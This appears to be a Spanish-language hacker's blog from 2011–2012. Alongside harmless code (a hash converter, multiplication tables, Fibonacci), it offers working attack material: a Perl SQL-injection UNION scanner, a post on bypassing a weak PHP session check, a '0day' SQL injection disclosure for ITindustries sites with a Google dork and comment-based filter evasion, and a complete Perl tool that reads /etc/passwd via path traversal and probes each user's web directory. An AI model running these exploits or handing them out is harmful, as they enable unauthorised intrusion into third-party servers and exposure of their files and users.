domingo, 13 de mayo de 2012

Simple String Converter v1.2

#Este Source Sirve para encriptar un String en distintas formas
#ASCCI, HEX, Hex_url, MD5, SHA1
#Modo de uso: perl script.pl palabra_a_encriptar
#!/usr/bin/perl

use Digest::MD5  qw(md5_hex md5_base64);
use Digest::SHA1  qw(sha1_hex sha1_base64);

my $str = $ARGV[0];

#String to ASCCI

@array_ascci = split (//,$str);

foreach $i (@array_ascci) 
{ $ascci = $ascci . ord($i) . ","; }

chop ($ascci); print "ASCCI:\t\t$ascci\n";

#String to HEX
print "HEX:\t\t0x";
print unpack('H*', "$str");
print "\n";

#String to Hex URL
print "HEX_URL:\t";
@array_hex = split (//,$str);
foreach $i (@array_hex) 
{ $hex_url = $hex_url . unpack('H*', "$i") . "%"; ; }

chop ($hex_url);  print "$hex_url\n\n";

#String to MD5
my $md5 = Digest::MD5->new();
$md5 = md5_hex($str);
print "MD5:\t\t$md5\n";
$md5 = md5_base64($str);
print "MD5_Base64:\t$md5\n\n";

#String to SHA1
my $sha1 = Digest::SHA1->new();
$sha1 = sha1_hex($str);
print "SHA1:\t\t$sha1\n";
$sha1 = sha1_base64($str);
print "SHA1_Base64:\t$sha1\n";



Modo de uso

miércoles, 28 de marzo de 2012

SQli Inject Union [Search] PoC

Un metodo mas eficaz encontrar la columna vulnerable con una sola búsqueda...
es un "PoC" de mi propia SQli Scanner espero que les sea de utilidad ^^!

sub sql_scann {
 

      #############################################
      #     SQL union select (Boolean)
      #    
      #     $columns_count = "30";
      #  $end = "+--+";
      #  $un = "/**/";
      #  $num_url = "5";

      print "\n[*] Escaneando Path...\n"; $table_schema;

      $union = $un ."and" . $un . "1=0" . $un . "UniOn" . $un . "SeLect" . $un;

      $i=1; while ($i<=$columns_count)
 {
   if ($i eq 1) {$cont1.= $i} else {$cont1.=',' . $i} $hex = "99999" . $i ."99999";
   if ($i eq 1) {$cont2.="concat(0x62346e7a306b,$hex)";} 
   else {$cont2.=',' . "concat(0x62346e7a306b,$hex)";}
   $path = $url . $num_url . $union . $cont2;
      my $request = $browser->get($path . $end);
      my $content = $request->content;
  
  if ($content =~ m/b4nz0k99999(\d+)99999/)
  {   print "[*] Web Vulnerada en la Columna [$1]\n[*] CoLumna en el Numero [" . $i . "]\n";
      $vulnerado = "Si"; $num_columns = $i;  $inject_columns = $1;
      last;
  } $i++; 
 } # print "$cont1\n";
   }

sábado, 25 de febrero de 2012

Errores de Comprobacion [Bypass] PoC

Bueno gente, hace rato que no publico por falta de tiempo o hueva, pero hoy les tengo un pequeño PoC muy util a lo que son algunos de los errores de comprobación que están en nuestro alcance para cambiar el flujo del programa.

Partimos con un simple login

y tenemos como PoC un simple form


Ingrese sus datos para Iniciar Sesión Nombre de Usuario Contraseña:
Bien, Ahora revisemos algunos detalles del archivo "comprueba.php".

session_start();
if($array["password_usuario"]==md5($pass) ){
/* Comprobamos que el password encriptado en la BD coincide con el password que nos han dado al encriptarlo. Recuerda usar la misma semilla para encriptar los dos passwords. */
$SESSION["login"]=$login;
$SESSION["id"]=$array["id"];
session_register("SESSION");
header("location:formulario.php");
} else {
echo "
Password Incorrecto
"; } ?>

Crea las sessiones y redirecciona al archivo "formulario.php" que lógicamente devera ser al panel de administracion


session_start();
if(!isset($SESSION)){
header("location: admin.html");
} else {
echo "Welcome $user";
}

bien, es un login facilmente de bypassear porque solo nos pide si "X" variable existe



Recuerden, es solo el PoC, con otro tipo de archivos se hacen varias cosas controlando el flujo y accediendo ala función de "X".

Espero les haya servido este peque tuto ^^

Salu2...

domingo, 22 de enero de 2012

Calculadoras para multiplicar

no tenia nada que hacer, encerio, y me puse hacer calculadoras en varios idiomas....

$a = $argv[1];

/* 
 * Ejecucion : 
 * 
 * php calculadora.php 5
 * 
 *  */
$a = $argv[1];
for ($i=1; $i<=10; $i++)
{
 echo $a," x ", $i, " = ", $a*$i, "\n";
}


//      JavaScript     

var a,b=1;
a = prompt('Numero??','');
while (b <= 10) {
 document.write(a+' x '+b+' = '+ a*b+'
');
 b++;
}


#!/usr/bib/perl
$a = $ARGV[0] ;

for ($b=1; $b<=10; $b++)  {

 print "$b x $a\t=\t",$b*$a,"\n";

}

#!/usr/bin/python
import sys
b = sys.argv[1]

for a in range(1,11):

 print a," x ",b," = ",(int(a) * int(b))
 

#include 
#include 
main()
{
int a,b;
printf("Dame la tabla: ");
scanf("%d", &a);
for (b=1; b<=10; b++)
 {
  printf("%i x %i = %d\n",a,b,a*b);
 }
}

sábado, 7 de enero de 2012

[Webapps] - ITindustries [SQLi inject Vulnerability] [Bypassing]

hace rato que no posteo un 0day así que decidí compartir el ultimo que saque porque ando
feliz!! :DDD!!!


 ; Distribuidor : ITindustries

; Path: id=x/*![explotación-bypass]*/

;Dork: intext:"by ITindustries.com" inurl:"id=*"

; Author: b4nz0k



; Nota: Este 0day fue necesario un pequeño bypass



Al parecer nos bota con una injeccion comun "&&", y lo bypasseamos con /*!*/



No se guíen por las t00ls.

Salu2...

jueves, 15 de diciembre de 2011

[ Programacion ] Sucesión de Fibonacci (Simple)

No es tan complicado :P




/* No se porque se complican tanto en la sucesión de Fibonacci xD */
 
print "\n### - Sucesión de Fibonacci! -- ###\n\n";
$a=1;
$b=1;
while ($a<=100)
    {
    print $a . ", " .  $b . ", ";
    $a = $a + $b;
    $b = $a + $b;
    }
print "\n\n### --- --- --- --- --- --- --- ### \n\n"; 





Lo publique porque vi muchos Codes con esta funcion muy extendidos y esto es para que no se compliquen mucho xD

miércoles, 14 de diciembre de 2011

[Bypass] Users to Host perl v1.2


La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.


Aquí una Muestra de el funcionamiento de la herramienta


./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar]
Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada



Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...



use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }